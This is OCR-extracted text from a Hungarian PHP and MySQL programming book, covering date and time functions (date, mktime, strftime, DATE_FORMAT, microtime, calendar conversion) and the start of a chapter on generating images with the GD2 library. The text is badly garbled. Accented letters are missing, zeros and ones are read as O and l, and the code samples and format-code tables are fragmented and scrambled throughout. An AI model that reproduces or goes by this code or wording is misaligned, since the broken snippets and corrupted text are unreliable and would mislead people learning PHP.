..1
n o
(W) az elz vagy a kvetkez vhez tartozik, mert akkor azt az vet
Az aktulis idzna s a GMT kztti klnbsg rban-pldul+ 16 O O. RFC822 szerint formzott dtum s id, pldul Tu e, (A formtum a PHP 4.0.4-s verzijban jelent meg.) 30 Mar 2010 18: 45: 30-0100.
Az egsz perc ta eltelt msod percek, helykirlt nullkkaL A tartomny O O-tl 5 9-ig tart. A dtumokban lv sorszmnv kpzje ktkarakteres formtumban (angolul). A szmtl fggen lehet st, nd, rd vagy th. A dtumhoz tartoz hnapban lv naptri napok szma. A tartomny 2 8-tl 31-ig tart. A kiszolgl idznja hromkarakteres formtumban- pldul CET. Az l 970. janur l-tl az aktulis idpontig eltelt msodpercek szma; ezt nevezik a dtum Unix idb lyegnek. A ht napja egy szmjeggyel. A tartomny O-tl (vasrnap) 6-ig (szombat) tart. A ht sorszma az vben az IS0-8601-es szabvny szerint. (A formtumkd a PHP 4.1.0-s verzij ban jelent meg.) Az v ktszmjegy formtumban- pldul l O. Az v ngyszmjegy formtumban-pldul 2 O l O. Az v napja szmknt. A tartomny 0-tl 365-ig tart. Az aktulis idznnak a GMT-rl msodpercben mrt eltrse. A tartomny -4 3200-tl 4 3200-ig tart.
s t T u
w y y
z
Dtum s id kezelse
323
Annak ellenre, hogy ez a formtum unixos szabvny, a date() s egyes ms PHP fuggvnyek akkor is ezt hasznljk, ha
a PHP-t Windows
alatt futtatjuk. Az egyeden klnbsg ebben az esetben az, hogy a Windows alatt az idblyeg nem lehet negatv.
Ha dtumot s idt szeretnnk Unix idblyegg alaktani, az mktime() fuggvnyt kell hasznlni. Prototpusa a kvetkez:
int mktime ([int ora[, int perc[, int masodperc[, int hnap[, int nap[, int ev
[,
int nyari_idoszamitas]]]]]]])
A paramterek- taln az utols, a nyari_idoszami tas kivtelvel- elgg magtl rtetdek. A nyar i_
idoszarni tas paramter azt jelzi, hogy a dtum a nyri idszmtsba esik-e. Amennyiben igen, akkor l-re, ha nem, akkor
O-ra kell lltani a paramtert. Amennyiben nem tudjuk, akkor az alaprtelmezett rtket, a -l-et rdemes hasznlni.Ebben
az
esetben a PHP megprblja azon rendszer alapjn, amin fut, kitallni, hogy vajon hasznlnak-e nyri idszmitst. Mivel Az egyeden csapda, amit a fggvny kapcsn el kell kerlnnk, hogy a paramcerei nem tlzottan sztns sorrendben he
a paramter opcionlis, gy is, gy is ritkn fogjuk hasznlni. lyezkednek el. A sorrend nem teszi lehetv, hogy kihagyjuk az idt. Ha az id egyltaln nem rdekel bennnket, rjunk O-t
az ra, perc
a pontos (pillanatnyi)
dtum s id Unix idblyegt adja vissza. Ugyanezt az eredmnyt kapnnk a kvetkez fuggvny meg
21
hvsval is:
$idobelyeg = time();
A time () fuggvny egyeden paramtert sem fogad, s mindig a pontos dtum s id Unix blyegkpt adja vissza. Egy msik lehetsg a korbban mr bemutatott date () fuggvny. Az utasts az elz kettvel egyenrtk:
$idobelyeg = date
"u"
('U") ;
Az mktime( ) fuggvnynek kt vagy ngy szrnjeggyel is megadhatjuk az vet. A O s 69 kztti ktszmjegy rtkek
a
2000 s 2069 kztti veket, a 70 s 99 kztti rtkek pedig az 1970 s 1999 kztti veket jelkpezik. Nzznk nhny tovbbi pldt az mktime ()hasznlatt szemlltetend! Az
0);
$ido = mktime(l2, O,
pedig a foly v janur elsejt adja vissza. Figyeljk meg, hogy az ra paramter esetben a O-val (s nem a 24-gyel) jelljk az jflt! Az mktime() fuggvnyt dtumokkal kapcsolatos, egyszer szmtsokra is hasznlhatjuk. Pldul az
$ido = mktime(l2,0,0,$honap,$nap+30,$ev);
30 napot ad a komponensek ltal meghatrozott dtumhoz (mg akkor is, ha a $nap+ 30 ltalban nagyobb, rnint az adott hnapban lv napok szma). A nyri idszmtssal kapcsolatos problmk elkerlse rdekben hasznljunk a O ra helyett a 12 rt! Ha az jflhez (24
60 60)-at adunk egy 25 rs napon, akkor ugyanazon a napon maradunk. Ha dlhez adjuk hozz ugyanezt a szmot, akkor
A fuggvny egyeden opcionlis paramtert, egy idblyeget fogad, s olyan tmbt ad vissza, amelynek elemei a dtum s az id klnbz rszeit jelkpezik (lsd 21.2 tblzat!). 21.2 tblzat: A getdate Kulcs
seconds minutes hours mday wday
rtk
Msodperc, numerikus Perc, numerikus ra, numerikus A hnap napja, numerikus A ht napja, numerikus
324
21 . fejezet
Kulcs
mon year yday weekday month o
rtk Hnap, numerikus v, numerikus Az v napja, numerikus A ht napja, teljes szveges formtum Hnap, teljes szveges formtum Idblyeg, numerikus
az elemeket egy tmbben tudjuk, knnyen a kvnt formtumba rendezhetjk ket. A tmb O
eleme
(az
idblyeg) feleslegesnek tnhet, de ha paramter nlkl hvjuk meg a get date () fggvnyt, az elem az aktulis idblyeget A getdate () fggvnyt hasznl kvetkez kd
<?php
21
=> March
=> 1173917205
az ev
O s 32,767 kztti, rvnyes egsz szm, a honap l s 12 kztti egsz szm, illerve
a nap ltezik-e az adott hnapban. A fggvny a szkveket is figyelembe veszi az rvnyessg megllaptshoz.
2008)
fggvny false lesz (rnivel2007 nem szkv, gy nem volt benne februr 29.).
Idblyegekformzsa
Az strftime ( ) fggvnnyel a rendszer (a webszerver) helyi belltsainak megfelelen formzhatjuk A fggvny prototpusa a kvetkez:
string strftime ( string $formatum [, int $idbelyeg] )
az idblyegeket.
A $formatum paramter az idblyeg megjelenst meghatroz formtumkd. Az $idobe ly eg paramter rtelemsze ren a fggvnynek tadon idblyeg. Ez a paramter opcionlis, gy amennyiben egyltaln nem adunk idblyeget, a fgg vny a helyi rendszer idblyegt (annak a kd futsa idejn rvnyes rtkr) fogja hasznlni. A kvetkez kd pldul
Dtum s id kezelse
325
<?php echo echo echo echo ?> strftime('%A<br strftime('%x<br strftime('%c<br strftime('%Y<br />'); />'); />'); />');
ngy klnbz formtumban jelenti meg a rendszer adott pillanatban vett idblyegt. A kd a kvetkezhz hasonl kime netet eredmnyez: Tuesday 03/16/10 03/16/10 21:17:24 2010 Az strftime () formtumkdjainak teljes listja a 21.3 tblzatban tallhat. 21.3 tblzat: A strftime Kd
%a %A %b %B %c %C %d %D %e %g %G %H %I %j %m %M %n %p %r %R %S %t %T %u %U %V %w %W %x %X %y %Y %z
(>fggvnyformtumkdjai
21
Lers A ht napja(rvidtve) A ht napja Hnap(rvidtve) Hnap Dtum s id szabvnyos formtumban Szzad A hnap napja(Ol-tl 31-ig) A dtum rvidtett formtumban(hh/ nn/ ) A hnap napja ktkarakteres sztringknt( ' l ' -tl ' 31 ' -ig) Az v a ht sorszma alapjn, kt szmjeggyel Az v a ht sorszma alapjn, ngy szmjeggyel ra(0 0-tl 23-ig) ra(l-tl 12-ig) Az v napja(00 l-tl 3 6 6-ig) Hnap(Ol-tl l2-ig) Percek(OO-tl 5 9 -ig) j sor (\n) am vagy pm (vagy helyi megfelelje) Az id a.m./ p.m. jellssei Az id 24 rs formtumban Msodpercek (0 0-tl 59-ig) Tabultor(\ t) Az id : pp : mm formtumban A ht napja(l-tl 7 -ig, htftl vasrnapig) A ht sorszma(az v els vasrnapja az els ht kezdnapja) A ht sorszma(az v els hete
az
vagy %h
a ht, amelyben legalbb ngy nap mr az adott vbe esik) els ht kezdnapja)
Dtum szabvnyos formtumban(id nlkl) Id szabvnyos formtumban(dtum nlkl) v(kt szmjeggyel) v(ngy szmjeggyel) Idzna
vagy %Z
326
21. fejezet
A 21.3 tblzatban emltett szabvnyos formtum azt jelenti, hogy a formtumkd helyt a webszerver helyi bellrsainak megfelel rtk veszi t. Az strftime () fggvny kivlan alkalmas arra, hogy a dtumot s az idt az oldalainkat felhaszn lbartt tev formtumokban jelentsk meg.
Vlts PHP s
21
A MySQL az ISO 8601-es szabvnynak megfelel formtumban kezeli a dtumot s idt. Az id kezelse viszonylag egyr telm, azonban az emltett szabvnynak megfelel dtumokban az v kerl elre. (Neknk, magyaroknak ez termszetes, an golszsz terleren lknek azonban szokaclan.) Pldul a 2008. mrcius 29-t (ami angolul March 29, 2008) 2008-03-29 vagy 08-03-29 formban kell rni. Alaprtelmezsben a MySQL-bl kinyert dtumok is ebben a formban rhetk el. Oldalunk vagy alkalmazsunk clkznsgrl fggen elkpzelhet, hogy ez nem lesz megfelel szmunkra. A PHP s a MySQL kztti kommunikci rdekben ltalban valamilyen mdon t kell alakitani a dtumot. Ezt a feladatot mindkt alkalmazsban elvgezhetjk. Amikor PHP-bl visznk MySQL-be dtumokat, a korbban mr ltott da te () fggvnnyel egyszeren a megfelel formtumra alakithatjuk azokat. Egy apr figyelmeztets: amikor sajt kdunkbl lltjuk el a dtu mot, a MySQL sszezavarst elkerlend a napot s a hnapot helykirlt nullkkal kell trolni. Hasznlhatunk kt szm jeggye! jellt vet, de rdemes inkbb mind a ngy szmjegyet kirni. Amennyiben MySQL-ben kivnjuk talakitani a dtumot vagy idt, kt hasznos fggvny ll ehhez rendelkezsnkre: a DATE_ FORMA T () s a UNIX_ TIMESTAMP (). A DATE_ FORMAT () fggvny a PHP-beli fggvnyhez hasonlan mkdik, m ms formtumkdokat hasznl. Az egyik leggyakoribb feladat, amit e fggvnnyel vgre fogunk hajtani, a MySQL ltal hasznlt ISO formtum dtumnak ( HH -NN) az angolszsz terleten elterjedt formtumra (HH-NN-) alakitsa. Az albbi lekrdezssei tehetjk meg ezt:
SELECT DATE FORMAT(datum_oszlop, '%m %d %Y') FROM tablanev;
A %m formtumkd kt szmjeggyel rja a hnapot, a %d ugyanezt teszi a nappal, az %Y pedig ngy szmjeggyel jelenti meg az vet. A 21.4 tblzatban a gyakrabban hasznlt MySQL formtumkdokat lthatjuk. 21.4 tblzat: A MySQL DATE_ FORMAT () fggvnynek formtumkdjai
Kd
%M %W %D %Y %y %a %d %e %m %c %b %j %H %k %h %1 %i %r %T %S %p %w
Lers
Hnap teljes szveggel A ht napja teljes szveggel A hnap napja szmmal, sorszmraggal (angol nyelvnek megfelelen, pldul 1st) v szmmal, ngy szmjeggyel v szmmal, kt szmjeggyel A ht napja hrom karakterrel A hnap napja szmmal, helykirlt nullkkal A hnap napja szmmal, helykitlt nullk nlkl Hnap szmmal, helykitlt nullkkal Hnap szmmal, helykitlt nullk nlkl Hnap szveggel, hrom karakter Az v napja szmmal ra, 24 rs formtum, helykitlt nullkkal ra, 24 rs formtum, helykirlt nullk nlkl vagy %I ra, 12 rs formtum, helykitlt nullkkal ra, 12 rs formtum, helykirlt nullk nlkl Perc szmmal, helykitlt nullkkal Id, 12 rs formtum (:pp:mm [AMjPM]) Id, 24 rs formtum (:pp:mm) vagy %s Msodperc szmmal, helykitlt nullkkal AM vagy PM A ht napja szmmal, O-tl (vasrnap) 6-ig (szombat)
Dtum s id kezelse
327
A UNIX_TIMESTAMP fggvny hasonlan mkdik, m Unix idblyegg alaka a neki radort oszlopot. Az albbi lekrdezs
SELECT UNIX_TIMESTAMP(datum_oszlop)
FROM tablanev;
pldul Unix idblyegknt formzva adja vissza a dtumot. Ezt kveten azt tehetnk vele PHP-ben, amit csak szeretnnk. A Unix idblyeg lehetv teszi, hogy egyszeren szmoljunk a dtumokkal, vagy sszehasonltsuk ket. Ne feledjk azon ban, hogy az idblyeg ltalban csak 1902 s 203 8 kztti dtumokat jelkpezhet, a MySQL adattpusa viszont sokkal szle sebb tartomnnyal rendelkezik! ltalnossgban az albbi szablyt kell kvetni: a Unix idblyeggel dtumokkal kapcsolatos szmtsokat vgezznk, a szabvnyos dtumformtumot pedig dtumok trolsra s megjelentsre hasznljuk!
21
ll szletsnap meghatrozsa
$nap =
18; 9; 1972;
hogy a szletsnapot nap, hnap s v $ev); formban kell megadni'
$honap = $ev
=
ll ne feledjk,
$sznapunix
=
mktime
(0,
O,
O,
$honap,
$nap,
ll sznap idblyege
$mostunix = time();
floor($eletkorunix
(365 * 24
echo ?>
"Az letkor:
$eletkor";
A kd belltja az letkor kiszmtshoz hasznland szletsnapot. Valdi alkalmazs esetn ez az adat mnden bizonnyal HTML rlapbl rkezne. A kd a mktime () fggvny meghvsval indul, hogy kiszmoljuk a szletsnaphoz s az aktulis dtumhoz tartoz idblyeget:
$sznapunix
=
mktime
(0,
O,
O,
$honap,
$nap,
$ev);
ll sznap idblyege
$mostunix = time();
$mostunix
Most jn a kiss trkks rsz: ennek az idtartamnak a visszaalaktsa az emberek ltal jobban kezelbec mrtkegysgre. Ez irt most nem idblyeg. hanem az adott szemly msodpercekben mrt letkora. gy alakthauk vissza vekre, ha eloszt juk az egy vben lv msodpercek szmval. Az gy kapott szmot a floor () fggvnnyel lefele kerekk, mert egy ember csak akkor lesz pldul 20 ves, amikor betlti a 20. letvt:
$eletkor
=
floor($eletkorunix
Jegyezzk meg. hogy ez a megolds nem teljesen tkletes, mert a Unix idblyegek (ltalban 32 bites egsz szmok) tar tomnya korltozza a mkdst. A szletsnapokkal val szmols nem a legjobb plda az idblyegek hasznlatra. A plda csak az 1970 utn szletertek esetben mkdik nnden opercis rendszeren, hiszen pldul a Windows nem kpes kezelni
az
1970 eltti idblyegeket. Mg az ezt kveten szletett emberek esetn sem lesz felttlenl pontos a szmts, mert a kd
nem veszi figyelembe a szkveket, illetve akkor is tvedhet, ha a helyi idznban jflkor trtnik a nyri s tli idszmts kzrti vlts.
328
21. fejezet
Megjegyzs: A PHP 5.3-as verzijhoz tbb olyanfggvnyt hozzadtak, amely a dtumokkal val szmolst knnyti meg.
flyen egyebek kztt a date_add(), a date_sub() s a date_diff(). Ezek a dtumkezel fggvnyekfeleslegess te szik a MySQL hasznlatt a korbban PHP-ben elrhetetlen dtumkezelsi feladatok egyszer vgrehajtshoz.
Egy tovbbi, elsre taln nem nyilvnval lehetsg a MySQL hasznlata. A MySQL a Unix idblyegek megbzhat tarto mnyn kivli dtumok esetn is kivlan hasznlhat dtumkezel fggvnyek szles vlasztkt knlja. MySQL lekrdezs limatshoz MySQL kiszolglhoz kell csatlakozni, de nem szksges adatbzisadatokat hasznlnunk ehhez a feladathoz. A kvetkez lekrdezs egy napot ad az 1700. februr 28-ai dtumhoz, s az gy kapott dtumot adja vissza:
21
interval l
day)
Az 1700. v nem szkv, gy az eredmny 1700-03-01 lesz. A MySQL kziknyvben rfog lerst tallunk a dtum s id MySQL-beli kezelsrl s mdostsrl (http://www. mysql.com/doc/en/Date_and_time_functions.hrml). Sajnos itt sincsen egyszer mdszer a kt dtum kztti vek szmnak megllaptsra, gy a szletsnapos plda MySQL ben is sntt egy kicsit. A napokban kifejezett letkort knnyedn kiszmthatjuk ugyan, m esetenknt a 21.2 pldakd is pontatlanul alaktja t vekre ezt az letkort.
21.2 pldakd: mysql_eletkor_kiszamitas. php -letkor kiszmtsa szletsi dtum alapjn MySQL-lel
<?php
ll szletsnap meghatrozsa
$nap
=
18;
=
$honap $ev
=
9;
1972;
date("c",
mktime (0,
O,
O,
$honap,
$nap,
$ev));
'felhasznala',
"select datediff(now(),
mysqli_fetch_array($eredmeny);
A now()MySQL fggvny minden esetben az aznapi dtumot s pontos idt a<lja vissza. A MySQL 4.1.1 verzijtl elr het datediff () fggvny a kt dtum kztti, napokban kifejezett klnbsget adja vissza. rdemes megjegyezni, hogy a kdban nem jelljk ki valamely tbla adatait, st, mg a kd ltal hasznland adatbzist sem vlasztjuk ki, de a szmtsokhoz rvnyes felhasznli nvvel s jelszval be kell jelentkeznnk a MySQL kiszolglra. Mivel kifejezetten a pldban ltott szmrsra nem ltezik beptett fggvny, az vek pontos szmnak Iciszmolsra egy viszonylag sszetett SQL lekrdezst kell hasznlnunk. A pldban kiss leegyszerstettk a dolgokat, mert a napokban kife jezett letkort 365,25-tel osztva szmoltuk ki az veket. Ha az adott szemly szletsnapjn hasznljuk ezt a szmtst, akkor
akr egy vet is tvedhetnk attl fggen, hogy hny szkvet lt mr meg a delikvens.
Dtum s id kezelse
329
Mikroszekundumok hasznlata
Egyes alkalmazsokhoz nem elegenden pontos az id msodpercekben val mrse. Ha nagyon rvid idszakokat, pldul a PHP kdunk egy rsznek vagy egsznek futtatshoz szksges idtartamor kvnjuk mrni, amicrotime () fiiggvnyt kell hasznlnunk. A PHP 5-s verzijban a true rtket t kell adnunk amicrotime () fiiggvnynek. Amikor ezt az opcionlis param tert tadjuk, amicrotime () lebegpontos rtkknt adja vissza az idt, ami kszen ll arra, hogy a neknk tetsz clra fel hasznljuk. Az rtk megegyezik a mkt ime() , t ime () s dat e () fiiggvny ltal visszaadottal, de trtrsze is van. Az
'');
utasts a kvetkezhz hasonl lmenetet produkl: ll 7 4 O 91854 . 84. A rgebbi verzikban nem krhettk az eredmnyt lebegpontos szmknt, a fiiggvny minden esetben szeringknt adta vissza. Amicrotime () paramter nlkli meghvsa esetn a kvetkezhz hasonl karakterlncot kapunk vissza:
"0. 34 380900 ll 7 4 091816". Az els szm a trtrsz, a msodik szm pedig az 1970.janur l. ta eltelt id msodpercben
kifejezve. Mivel a szmokat knnyebb kezelni, mint a karakterlncokat, a P H P 5-s verzijtl kezdve rdemes amicrotime ( ) fliggvnyt a true paramterrel meghvni.
21
Naptrfggvnyek hasznlata
A PHP szmos fiiggvnnyel segti a klnbz naptrrendszerek kztti tvltst. A fbb naptrak, amelyekkel dolgozni fo gunk, a Gergely- s a Julin-naptr, illetve aJulin-napszmll. A legtbb nyugati orszg jelenleg a Gergely-naptrat hasznlja. A Gergely-naptr szerinti 1582. oktber 15. megegyezik aJulin-naptr szerinti 1582. oktber 5-vel. Ezen idpont eltt aJulin-naptr volt a szles krben hasznlt naptrrendszer. A klnbz orszgok eltr idpontban vltottak a Gergely-naptrra, egyes orszgok (pldul Oroszorszg) csak a 20. szzad elejn tettk meg ezt. E kt naptrrendszert sokan ismerik, de nem biztos, hogy aJulin-napszmllrl (Julian Day Count-JD) is hallottunk mr. Ez utbbi sok szempontbl a Unix idblyeghez hasonl. Egy idszmtsunk eltt 4000 krli dtumtl szmolja az eltelt napokat. nmagban nem klnsebben hasznos, rtelmet akkor nyer, amikor a naptrrendszerek kztt vltjuk t a d tumokat. Ilyen tvltskor elszr aJulin-napszmllra vltunk, s majd onnan a kvnt naptrra. Unix alatti hasznlarukhoz elszr az --enable-calendar belltssal be kell fordtanunk PHP-be a calendar kiter jesztst. Az ltalnos Windows-teleptsbe be vannak ptve ezek a fiiggvnyek. Hogy rrezznk mkdskre, nzzk meg a Gergely-naptrrlJulin-naptrra vltshoz szksges fiiggvnyek prototpu st:
int gregoriantojd(int honap, int nap, int ev) string jdtojulian(int julian_nap)
$jd
gregoriantojd
echo jdtojulian($jd);
Ez a fiiggvnyhvs HH/NN/ formtumban rja ki aJulin-naptr szerinti dtumot. Ezeknek a fiiggvnyeknek a klnbz v ltozataival vltharunk a Gergely-, aJulin-, a francia s a zsid naptr, illetve
a
Tovbbi olvasnival
Ha szeretnnk a PHP s a MySQL dtum- s idfiiggvnyeirl tbbet megrudni, olvassuk el a kziknyvek idevg rszeit a http://php.net/manual/en/ref.datetime.php, illetve a http:/ l dev.mysql.com/doc/re&nan/5.0/en/date-and-timefunctions.htrnl cmen! Ha naptrrendszerek kztt kell dtumokat tvltanunk, olvassunk bele a PHP kziknyv naptrkezel fiiggvnyeket ler oldalaiba (http://php.net/manual/en/ref.calendar.php)!
Hogyan tovbb:
A PHP egyik egyedlll s igen hasznos funkcija a kpek menet kzbeni ltrehozsnak lehetsge. A Kpek ellltsa cm
az
22
Kpek ellltsa
A PHP egyik igen hasznos funkcija a kpek programbl val ltrehozsnak lehetsge. A nyelv szmos olyan fggvnnyel rendelkezik, amely kpekrl szelgltat informcikat,a GD2 knyvtrat pedig j kpek ltrehozsra,illetve meglvk keze lsre hasznlhatjuk. A fejezetbl kiderl, hogyan rhetnk el rdekes s hasznos kpi hatsokat ezen kpkezel fggvnyek segtsgve!. A fejezetben az albbi fbb tmakrkkel foglalkozunk: Kpi tmogats belltsa a PHP-ben Kpformromok Kpek ltrehozsa Automatikusan ltrehozott kpek hasznlata ms oldalakon Szveg s betk hasznlatval ltrehozott kpek brk s grafikonadatok rajzolsa Munknk sorn kt pldt nznk meg rszletesebben: az egyik sorn programbl hozzuk ltre egy weboldal gombjait, a msikban pedig MySQL adatbzisbl szrmaz adatokbl ksztnk oszlopdiagramot. A pldkhoz a GD2 knyvtrat fogjuk hasznlni, m nem ez az egy npszer, a kpekkel val munkt lehetv tev PHP knyvtr ltezik. Az ImageMagick knyvtr nem rsze ugyan az ltalnos PHP-teleptsnek, de a PHP Extension Class Library (PECL) bvtmnyekbl egyszeren telepthet. Az ImageMagick s a GD2 szmos igen hasonl funkcival rendel kezik, m egyes terleteken az elbbi tbbre kpes. Ha GIF kpeket (vagy akr animlt GIF kpeket) szeretnnk ltrehozni,
az
ImageMagick knyvtrra lesz szksgnk. Amennyiben valdi sznezer (true color md) kpekkel vagy cltszsgi hat Az ImageMagick letltshez keressk fel a PECL oldalt: http:/ /pecl.php.net/package/imagick. Ha szeretnnk kpet kapni az ImageMagick ltal knlt lehetsgek trhzrl, vagy tanulmnyoznnk dokumentcijt,
Ha Unixot hasznlva szetetnnk PNG kpekkel dolgozni, teleptennk kell a http://www.libpng.org/pub/png/ oldalrl elrhet libpng, illetve a http://www.gzip.org/zlib/ oldalrl elrhet
--with-png-dir=/path/to/libpng --with-zlib-dir=/path/to/zlib
z
l ib knyvtrat.
Ha Unixon szeremnkJPEG kpekkel dolgozni, le kell tlteni a jpeg-6b csomagot, s bekapcsoltJPEG-tmogatssal jra kell forditani a GD-t. A csomagot az ftp:/ /ftp.uu.net/graphics/jpeg/ oldalrl tlthetjk le. Majd a kvetkez belltssal jra kell konfigurlni s jra kell fordtani a PHP-t:
--with-jpeg-dir=/path/to/jpeg-6b
332
22. fejezet
Ha szeretnnk kpeinken TrueType bettpusokat hasznlni, a FreeType knyvtrra is szksgnk lesz. A 4-es verzi ta ez is elrhet a PHP-ben, de ha kell, a http://www.freetype.org/ oldalrl letlthet. Ha inkbb PostScript Type l bettpusokkal kvnunk dolgozni, az frp://sunsite.unc.edu/pub/Linux/libs/graphics/ oldal rl letlthet tllib knyvtrra lesz szksgnk. Ezt kveten a
--with-tllib[=path/to/tllib]
belltssal kellfuttatni a PHP konfigurl programjt. Vgl termszetesen a --wi th-gd hasznlatval kell konfigurlni a PHP-t.
Kpformtum ok
A GD knyvtr a JPEG, a PNG s a WBMP formtumot tmogatja, a GIF kpeket mr nem. Nzzk t rviden ezen form
JPEG
A JPEG a joint Photographic Experts Group rvidtse, ami igazbl nem egy adott formtum, hanem egy kptmrtsi szab
vnyt kidolgoz munkacsoport neve. A JPEG-nek nevezett fjlformtum hivatalos neve JFIE s ez nem ms, rnint a JPEG csoport ltal ltrehozott egyik szabvny.
A JPEG fjlokat elssorban klnbz szneket s szntmeneteket tartalmaz fnykpek vagy egyb kpek trolsra hasz
22
nljuk. A formtum vesztesges tmrtse hasznl, vagyis a kprninsg valamilyen mrtk romlsval tmriti a fnykpet kisebb fjlba. Mivel a JPEG fjlok ltal crolt kpek lnyegben szntmeneteket tartalmaz analg kpek, az emberi szem bi zonyos mrtk minsgromlst tolerlni kpes (rnivel egyszeren nem veszi szre). A formtum nem megfelel vektorgrafikus brkhoz, szveghez s teli sznnel kitlttt felletekhez.
A JPEG/JFIF formtumrl a JPEG hivatalos oldaln bvebben is olvashatunk (http://wwwJpeg.org/).
PNG
A PNG a Portab/e Network Graphics rvidtse. Ez a fjlformtum a GIF (Graphics Interchange Format) helyt vette t (rvi
desen ltni fogjuk, rnirt). A PNG w eboldala gy r rla:.bivalyers kpformtum vesztesgmentes tmrtssel:' Vesztesg mentessgnek ksznhecen a kpformtum olyan kpekhez is kivlan hasznlhat, amelyek szveget, egyenes vonalakat s teli sznnel tlttt formkat tartalmaznak- pldul fejlcekhez vagy w eboldalak gombjaihoz. A PNG kpek ltalnossgban ugyanarra a clra hasznlhatk, mint korbban a GIF-ek. Egy adott kp PNG-vel tmrtett vltozata jellemzen hasonl mret, rnint a GIF-fel tmrtett trsa. A PNG tmogatja a fokozatos tltszsgot, a gammakorrekcit s a ktdimenzis vltott soros megjelenitst. Nem tmogatja viszont az animcikat, ezrt ilyen clra a jelenleg is fejleszts alatt ll MNG for mtumot kell hasznlni.
A veszcesgmentes trndtsi eljrsok rajzokhoz s brkhoz megfelelnek ugyan, nagy fnykpek trolsra viszont kevsb
WBMP
A WBMP, amely a Wireless Bitmap rvidtse, kifejezetten vezetk nlkli eszkzk szmra kialaktott fjlformtum. Egyelre
GIF
A GIF a Graphics Interchange Forrnat rvidtse. Tmrtett, vesztesgmentes formtum, amit szles krben hasznlnak az
interneten szveget, egyenes vonalakat vagy teli sznnel kitlttt formkat tartalmaz kpek trolsra.
A GIF formtum a 24 bites RGB szntr 256 klnbz sznbl ll sznpalettt hasznl. Tmogatja az animcikat, s
lehetv teszi, hogy minden kpkockn ms s ms sznekbl lljon a 256 szn paletta. A hasznlhat sznek korltozott sz ma rniatt a GIF formtum nem alkalmas sznes fnykpek s ms folytonos tnus kpek ellltsra, de tkletesen megfelel olyan egyszerbb kpeknl, rnint a grafikk vagy a teli szn elemekbl ll logk.
A GIF fjlok LZW vesztesgmentes adattmrtse hasznlnak, amely a kprninsg romlsa nlkl cskkenti a fjlmrecec.
Kpek ellltsa
333
Kpek ltrehozsa
A kpek PHP-beli ltrehozsnak ngy lpse a kvetkez: l. 2. 3. 4. Rajzvszon ltrehozsa a munkhoz. Alakzatok rajzolsa vagy szveg nyomtatsa a rajzvszonra. Kimenet ksztse a ksz grafikrl. Erforrsok felszabadtsa.
Nzznk pldt egy egyszer kpet ltrehoz kdra! A teljes kdot a 22.1 pldakd tartalmazza. 22.1 pldakd: egyszeru_abra. php-Egyszer vonalas bra rtkests Jelirattal <?php ll kp belltsa
$magassag
=
200;
$magassag);
imagecolorallocate {$kep,
255, O,
255, 64);
255);
O,
ll rajzols a kpre
imagefill{$kep, imageline{$kep,
O, O,
O, O,
4,
imagestring{$kep,
50,
150,
'rtkests',
22
ll kimenet ltrehozsa
Header {'Content-type: imagelpng'); imagepng {$kep);
ll erforrsok felszabadtsa
imagedestroy{$kep);
22.1 bra: A kd kk htteret rajzol, majd egy vonalat s egy szveges cmkt ad a kphez. Most pedg menjnk vgig egyenknt a kp ltrehozsnak lpsein!
Rajzvszon ltrehozsa
Hogy elkezdhessnk PHP-ben megalkotni vagy mdostani egy kpet, ltre kell hoznunk egy kpazonostt. Ennek kt alap ver mdja van. Az egyik egy res rajzvszon ltrehozsa, amelyet az imagecreatetruecolor{) fggvny meghvsval rhetnk el, ahogy tettk azt a fenti kdban is az albbi sorral:
$kep = imagecreatetruecolor{$szelesseg, $magassag);
3 34
22. fejezet
Az ImageCreateTrueColor () fggvny kt paramtert vr. Az els az j kp szlessge, a msodik pedig a magassga. A fggvny az j kp azonostjval tr vissza. Az ilyen azonostkat a fjlmutatkhoz hasonlan kell elkpzelnnk. A msik mdszer meglv kpfjl beolvassa,amire aztn szrt alkalmazhatunk,tmrerezhetjk vagy kiegszthet jk. A beolvasni kvnt fjl formtumtl fggen az imagecreatefrompng (),az imagecreatefromjpeg () vagy az
imagecreatefromgif () fggvnyt hasznlhatjuk erre a clra.
Mindhrom fggvny a fjl nevt vrja paramterknt, ahogy az albbi pldban is lthatjuk:
$kep = imagecreatefrompng('alap kep.png');
A fejezet egy ksbbi rszben arra is ltharunk pldt,hogyan hozharunk ltre gombokat meglv kpek felhasznlsval.
255,
O,
255, 64);
255);
22
O,
A fggvny sznazonosrval tr vissza, amellyel a ksbbiekben elrjk az adott sznt. A rnyleges rajzolshoz klnbz fggvnyek kzl vlasztharunk attl fggen, hogy pontosan mit kvnunk rajzolni: vonalakat,veket,sokszgeket vagy szveget. A rajzolfggvnyek ltalban a kvetkez paramtereket vrjk: A kp azonostja A rajzolni kvnt objektum kezd- s esetenknt vgpontja (koordinrk) A fesrszn Szveg esetn a bettpusra vonatkoz informcik Pldnkban hrom rajzolfggvnnyel dolgozunk,nzzk meg most ezeket egyenknt! Elszr is az imagefill() fggvnnyel ltrehozzuk a kk htteret,amire a ksbbiekben rajzolharunk:
agefill($kep, O,
0,
$kek);
kp koordintit a bal fels sarokbl szmoijuk, ez az x=O, y=O pont. A kp jobb als sarka az Szmtgpes grafikk esetben ez gy megszokott, viszont a matematikban megszakottal ellenttes, ezrt gyeijnk a helyes hasznlatra!
Megjegyzs: A
(o,
$magassag ) :
0,
$szelesseg,
$magassag,
A fggvny paramterknt a kpazonostt,a vonal kezd- s vgpontjnak x s y koordintjt,illetve a sznt vrja. Vgezetl felirarot adunk az brhoz:
imagestring($kep,
4,
50,
150,
'rtkests',
$feher);
Az imagestring( ) fggvny az elz ketttl kiss eltr paramtereket fogad. A fggvny prototpusa a kvetkez:
int imagestring (resource kep_azonosto, int betutipus, int x, int y, string s, int szin)
Paramcerei sorban: a kpazonosr, a bettpus, a szveg kezdpontjnak x s y koordinrja,az rni kvnt szveg s a szn. A bettpus egy l s 5 kztri szm. Ezek a szmok latin2 kdols,beptett bettpusokat jellnek gy,hogy a magasabb szmok nagyobb bettpusoknak felelnek meg. Hasznlhatunk helyettk TrueType vagy PostScript Type l berket is. Mind egyik fontkszlethez tartozik egy fggvnykszlec. A kvetkez pldban a TrueType fggvnyeker fogjuk hasznlni. Nyoms rv az alternatv bettpusokhoz tartoz fggvnykszletek hasznlatra, hogy az imagestring () s a hozz kapcsold fggvnyek,pldul az imagechar() (karakter rsa a kpre) ltal rt szveg nem lsimtott. A TrueType s a PostScript fggvnyek ezzel szemben lsimtott szveget lltanak el. Ha bizonytalanok vagyunk az lsimtott s az lsimts nlkli betk kztri klnbsget illeten, vessnk egy pillantst a 22.2 brra! Ahol grbk vagy velt vonalak vannak a betkben,az lsimts nlkli szveg tredezettnek tnik. A grb-
Kpek ellltsa
335
